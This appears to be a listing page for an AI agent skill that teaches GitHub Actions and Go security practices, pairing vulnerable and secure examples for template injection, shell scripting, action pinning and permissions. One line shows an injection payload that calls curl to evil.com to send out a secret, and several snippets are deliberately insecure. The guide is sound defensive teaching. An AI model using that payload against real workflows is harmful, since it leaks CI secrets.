Standard collaboration patterns for all squad agents — worktree awareness, decisions, cross-agent communication
The English summary is being prepared. Showing the original description.
Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.
The English summary is being prepared. Showing the original description.
Review the instructions the agent will receive before you install.
Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.
Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.
GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
run: echo "${{ github.event.issue.title }}"
Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "
# SECURE: Use environment variables
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE"
Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.
graph TB
subgraph "Unsafe Pattern"
A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
B1 --> C1[Direct Interpolation<br/>into Shell Command]
C1 --> D1[Code Execution Risk]
style D1 fill:#f88,stroke:#f00
end
subgraph "Safe Pattern"
A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
B2 --> C2[Environment Variable<br/>Assignment]
C2 --> D2[Shell Receives<br/>Data Only]
D2 --> E2[No Code Execution]
style E2 fill:#8f8,stroke:#0f0
end
Template injection vulnerabilities were identified and fixed in:
copilot-session-insights.md - Step output passed through environment variableSee scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.
# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"
The steps.sanitized.outputs.text output is automatically sanitized:
Always safe to use in expressions:
github.actorgithub.repositorygithub.run_idgithub.run_numbergithub.shaNever safe in expressions without environment variable indirection:
github.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.pull_request.titlegithub.event.pull_request.bodygithub.head_ref (can be controlled by PR authors)When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.
GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).
// VULNERABLE: pull_request-only fields referenced unconditionally
condition := fmt.Sprintf(
"github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
minPos,
maxPos,
)
Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.
// SECURE: gate nested pull_request fields behind explicit trigger and null checks
condition := fmt.Sprintf(
"github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
minPos,
maxPos,
)
github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.A && B && C) where early terms validate event type/object existence before nested access.pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.Insecure:
steps:
- name: Process files
run: |
FILES=$(ls *.txt)
for file in $FILES; do
echo $file
done
Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.
Secure:
steps:
- name: Process files
run: |
while IFS= read -r file; do
echo "$file"
done < <(find . -name "*.txt")
"$VAR"[[ ]] instead of [ ] for conditionals$() instead of backticks for command substitutionset -euo pipefailExample secure script:
steps:
- name: Secure script
env:
INPUT_VALUE: ${{ github.event.inputs.value }}
run: |
set -euo pipefail
if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
echo "Invalid input format"
exit 1
fi
echo "Processing: $INPUT_VALUE"
result=$(grep -r "$INPUT_VALUE" . || true)
echo "$result"
Supply chain attacks target dependencies in CI/CD pipelines.
Insecure:
steps:
- uses: actions/checkout@v5 # Tag can be moved
- uses: actions/setup-node@main # Branch can be updated
Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.
Secure:
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.
# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1
# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
Insecure:
name: CI
on: [push]
permissions: write-all
Secure:
name: CI
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
name: CI/CD
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
deploy:
needs: test
runs-on: ubuntu-latest
permissions:
contents: read
deployments: write
steps:
- uses: actions/checkout@sha
- run: npm run deploy
| Permission | Read | Write | Use Case |
|---|---|---|---|
| contents | Read code | Push code | Repository access |
| issues | Read issues | Create/edit issues | Issue management |
| pull-requests | Read PRs | Create/edit PRs | PR management |
| actions | Read runs | Cancel runs | Workflow management |
| checks | Read checks | Create checks | Status checks |
| deployments | Read deployments | Create deployments | Deployment management |
Integrate static analysis tools into development and CI/CD workflows:
# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/
# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine
# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine
Show a findings table only when confirmed findings exist. Otherwise, state "No confirmed vulnerabilities found" without an empty table or placeholder row. This applies to final replies and task-completion summaries: omit the entire findings table when empty, including its header; never put the no-findings sentence in a table row. Report validation blockers and incomplete coverage separately. Follow the debug security-review gate for workflow execution reviews.
${{ }} expressionssteps.sanitized.outputs.text)"$VAR"set -euo pipefailwrite-all permissionsNo reviews yet. Tell others what you thought.
No login needed. Share how it worked for you, ask a question, or note where it did not run.
No comments yet. Be the first to write one.
Standard collaboration patterns for all squad agents — worktree awareness, decisions, cross-agent communication
The English summary is being prepared. Showing the original description.
Shared hard rules enforced across all squad agents
The English summary is being prepared. Showing the original description.
Route gh-aw design, creation, diagnosis, patching, active debugging, and upgrade requests to the right strategies.
The English summary is being prepared. Showing the original description.
How to write comprehensive architectural proposals that drive alignment before code is written
The English summary is being prepared. Showing the original description.
Upgrade gh-aw to latest gh-aw-firewall release and identify follow-up spec tasks.
The English summary is being prepared. Showing the original description.
Review code that performs git or gh operations against repository checkouts in gh-aw, checking that the right credentials are available at the right time and that sparseness, shallowness and credential-free factors are properly considered.
The English summary is being prepared. Showing the original description.